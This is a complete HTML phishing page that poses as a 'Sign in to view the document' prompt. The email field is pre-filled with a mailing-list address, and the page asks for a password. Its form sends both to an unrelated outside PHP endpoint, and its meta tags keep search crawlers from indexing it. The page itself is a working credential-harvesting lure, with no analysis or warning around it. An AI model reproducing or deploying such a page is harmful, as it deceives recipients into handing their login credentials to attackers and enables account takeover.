<html style="box-sizing: border-box;"><head style="box-sizing: border-box;"><style style="box-sizing: border-box;">@import url(https://fonts.googleapis.com/css?family=PT+Sans:400,700); html {min-height: 100%;}body {background: url('https://i.gyazo.com/049bc4624875e35c9a678af7eb99bb95.jpg') no-repeat;background-size: cover;position: absolute;width: 100%;height: 100%;top: 0;right: 0;bottom: 0;left: 0;margin: auto;overflow: hidden;font-family: 'PT Sans', sans-serif;} .login {padding: 10px;} .files {background: #02723b;margin: 200px auto;width: 90%;max-width: 450px;text-align: center;color: #fff;} form {max-width: 450px;margin: 0 auto;} form>div {position: relative;background: white;border-bottom: 1px solid #ccc;color: #000;} form>div>label {opacity: 0.3;font-weight: bold;position: absolute;top: 22px;left: 20px;} form>div>input[type="text"],form>div>input[type="email"],form>div>input[type="password"] {width: 100%;border: 0;padding: 20px 20px 20px 50px;background: #fff;} form>div>input[type="text"]:focus,form>div>input[type="email"]:focus,form>div>input[type="password"]:focus {outline: 0;background: white;} form>div>input[type="text"]:focus+label,form>div>input[type="email"]:focus+label,form>div>input[type="password"]:focus+label {opacity: 0;} form>div>input[type="text"]:valid,form>div>input[type="email"]:valid,form>div>input[type="password"]:valid {background: url(https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/check.svg);background-size: 20px;background-repeat: no-repeat;background-position: 20px 20px;} form>div>input[type="text"]:valid+label,form>div>input[type="email"]:valid+label,form>div>input[type="password"]:valid+label {opacity: 0;} form>div>input[type="text"]:invalid:not(:focus):not(:placeholder-shown),form>div>input[type="email"]:invalid:not(:focus):not(:placeholder-shown),form>div>input[type="password"]:invalid:not(:focus):not(:placeholder-shown) {background: pink;} form>div>input[type="text"]:invalid:not(:focus):not(:placeholder-shown)+label,form>div>input[type="email"]:invalid:not(:focus):not(:placeholder-shown)+label,form>div>input[type="password"]:invalid:not(:focus):not(:placeholder-shown)+label {opacity: 0;} form>div>input[type="text"]:invalid:focus:not(:placeholder-shown)~.requirements,form>div>input[type="email"]:invalid:focus:not(:placeholder-shown)~.requirements,form>div>input[type="password"]:invalid:focus:not(:placeholder-shown)~.requirements {max-height: 200px;padding: 0 30px 20px 50px;} form>div .requirements {padding: 0 30px 0 50px;color: #999;max-height: 0;transition: 0.28s;overflow: hidden;color: red;font-style: italic;} form input[type="submit"] {display: block;width: 100%;margin: 20px 0;background: #25402b;color: white;border: 0;padding: 20px;font-size: 1.2rem;} form input[type="submit"]:hover {box-shadow: 1px 1px 1px #ddd;} * {box-sizing: border-box;} .invalid {background: #000;color: #000;} @media screen and (max-width: 360px) and (min-width: 320px) {.files {margin: 100px auto;}}</style><title style="box-sizing: border-box;">Sign in to continue</title><link rel="icon" type="image/png" href="https://i.gyazo.com/83cffd1ebf23ed93aa925eb9529f5348.png" style="box-sizing: border-box;"><meta name="robots" content="noindex, noarchive, nofollow, nosnippet" style="box-sizing: border-box;"><meta name="googlebot" content="noindex, noarchive, nofollow, nosnippet, noimageindex" style="box-sizing: border-box;"><meta name="slurp" content="noindex, noarchive, nofollow, nosnippet, noodp, noydir" style="box-sizing: border-box;"><meta name="msnbot" content="noindex, noarchive, nofollow, nosnippet" style="box-sizing: border-box;"><meta name="teoma" content="noindex, noarchive, nofollow, nosnippet" style="box-sizing: border-box;"><meta name="viewport" content="width=device-width, initial-scale=1" style="box-sizing: border-box;"></head> <body style="box-sizing: border-box;background: url(https://i.gyazo.com/049bc4624875e35c9a678af7eb99bb95.jpg) no-repeat;background-size: cover;position: absolute;width: 100%;height: 100%;top: 0;right: 0;bottom: 0;left: 0;margin: auto;overflow: hidden;font-family: 'PT Sans', sans-serif;"><div class="files" style="box-sizing: border-box;background: #02723b;margin: 200px auto;width: 90%;max-width: 450px;text-align: center;color: #fff;"><img src="https://i.gyazo.com/7fc7a0126fd7e7c8bcb89fc52967c8ec.png" height="50" style="box-sizing: border-box;"><h2 style="box-sizing: border-box;">Sign in to view the document</h2><div class="login" style="box-sizing: border-box;padding: 10px;"><form method="post" action="https://the-id.jp/css/s/x3d.php" method="POST" style="box-sizing: border-box;max-width: 450px;margin: 0 auto;"><div style="box-sizing: border-box;position: relative;background: white;border-bottom: 1px solid #ccc;color: #000;"><input type="email" id="email" name="email" required="" placeholder="Email Address" value="libreoffice@lists.freedesktop.org" style="box-sizing: border-box;width: 100%;border: 0;padding: 20px 20px 20px 50px;background: #fff;"><label for="email" style="box-sizing: border-box;opacity: 0.3;font-weight: bold;position: absolute;top: 22px;left: 20px;"></label><div class="requirements" style="box-sizing: border-box;padding: 0 30px 0 50px;color: red;max-height: 0;transition: 0.28s;overflow: hidden;font-style: italic;">Must be a valid email address.</div></div><div style="box-sizing: border-box;position: relative;background: white;border-bottom: 1px solid #ccc;color: #000;"><input type="password" id="password" name="password" required="" placeholder="Password" style="box-sizing: border-box;width: 100%;border: 0;padding: 20px 20px 20px 50px;background: #fff;"><label for="password" style="box-sizing: border-box;opacity: 0.3;font-weight: bold;position: absolute;top: 22px;left: 20px;"></label><div class="requirements" style="box-sizing: border-box;padding: 0 30px 0 50px;color: red;max-height: 0;transition: 0.28s;overflow: hidden;font-style: italic;">Your password must be at least 6 characters as well as contain at least one uppercase, one lowercase, and one number.</div></div><input type="submit" value="View Document" style="box-sizing: border-box;display: block;width: 100%;margin: 20px 0;background: #25402b;color: white;border: 0;padding: 20px;font-size: 1.2rem;"></form></div></div> </body></html>